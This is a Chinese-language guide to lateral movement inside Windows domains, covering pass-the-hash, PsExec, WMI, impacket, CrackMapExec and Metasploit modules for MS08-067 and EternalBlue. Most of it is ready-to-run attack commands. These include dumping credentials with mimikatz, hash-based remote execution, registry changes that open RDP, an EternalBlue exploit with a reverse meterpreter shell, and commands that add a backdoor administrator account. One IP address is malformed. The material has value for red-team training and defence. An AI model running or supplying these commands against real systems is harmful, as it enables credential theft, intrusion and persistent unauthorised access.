域渗透-横向移动手法总结
字数 980 2025-08-23 18:31:34
域渗透横向移动手法全面指南
1. Pass-the-Hash (PTH) 横向移动
基本原理
- 攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,无需提供明文密码
- 基于NTLM身份认证机制,使用口令加密后的hash值进行认证
- Hash分为LM hash和NT hash(密码>15字符时无法生成LM hash,Vista/2008后默认禁用LMhash)
适用场景
- 域/工作组环境
- 可以获得hash但无法爆破
- 内网中存在与当前机器相同密码的主机
利用方法
- 使用mimikatz获取hash:
privilege::debug
sekurlsa::logonpasswords
- 进行PTH攻击:
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:627782b7274e323941c9418399460d5b
- 远程桌面登录(需修改注册表):
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
sekurlsa::pth /user:administrator /domain:test /ntlm:627782b7274e323941c9418399460d5b "/run:mstsc.exe /restrictedadmin"
注意事项
- 微软补丁后,常规PTH可能失败,但Administrator(SID 500)账号仍可成功
- 禁用NTLM认证时,PsExec无法利用,但mimikatz仍可成功
2. PsExec横向移动
基本原理
- Windows官方工具,通过管道在远程主机创建psexec服务
- 利用SMB服务(445端口)通过明文或hash传递执行命令
利用方法
- 明文传递:
PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456 cmd
- Hash传递:
psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123
- 使用impacket工具包:
python3 psexec.py -hashes ee:627782b7274e323941c9418399460d5b ./Administrator@10.10.10.152
注意事项
- 需要远程系统开启admin$共享(默认开启)
- 目标需开放445端口
- 会在目标系统创建psexec服务,执行后自动删除
- 会产生大量日志,易被溯源
- 非域用户无法利用内存票据,只能使用账号密码
3. WMI横向移动
基本原理
- Windows Management Instrumentation (Windows管理工具)
- 比PsExec更隐蔽,默认不记录WMI操作日志
- 需要目标开放135(WMI默认管理端口)和445端口(传回显)
利用方法
- 使用wmic命令:
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"
- 使用impacket的wmiexec.py:
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami"
- 使用wmiexec.vbs:
cscript wmiexec.vbs /cmd 192.168.0.123 administrator 123456 "ipconfig"
- 开启远程桌面:
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
其他WMI命令
- 检查RDP状态:
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections
- 不同系统开启RDP:
- XP/2003:
wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
- Win7+/2008+:
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='计算机名' call SetAllowTSConnections 1
4. 其他横向移动技术
使用MSF的hash模块
use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.0.141
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
CrackMapExec批量PTH
crackmapexec smb 192.168.0.0/24 -u administrator -H 627782b7274e323941c9418399460d5b
PowerShell WMI方法
- Invoke-WmiCommand:
Import-Module .\Invoke-WmiCommand.ps1
$User = ".\administrator"
$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.123
$Remote.PayloadOutput
- Invoke-WMIMethod:
$User=".\administrator"
$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.0.123" -Credential $Cred
利用系统漏洞横向
- MS08-067 (RPC远程缓冲区溢出):
use exploit/windows/smb/ms08_067_netapi
set rhosts 172.16.5.27
set lhost 172.16.5.28
set payload generic/shell_bind_tcp
exploit
- EternalBlue (MS17-010):
扫描:
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.14
set threads 10
exploit
利用:
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 10.10.10.14
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.147
set lport 4444
exploit
命令执行:
use auxiliary/admin/smb/ms17_010_command
set rhosts=192.168.26.33.33
set COMMAND net user hack hack123 /add
set COMMAND net localgroup administrators hack /add
exploit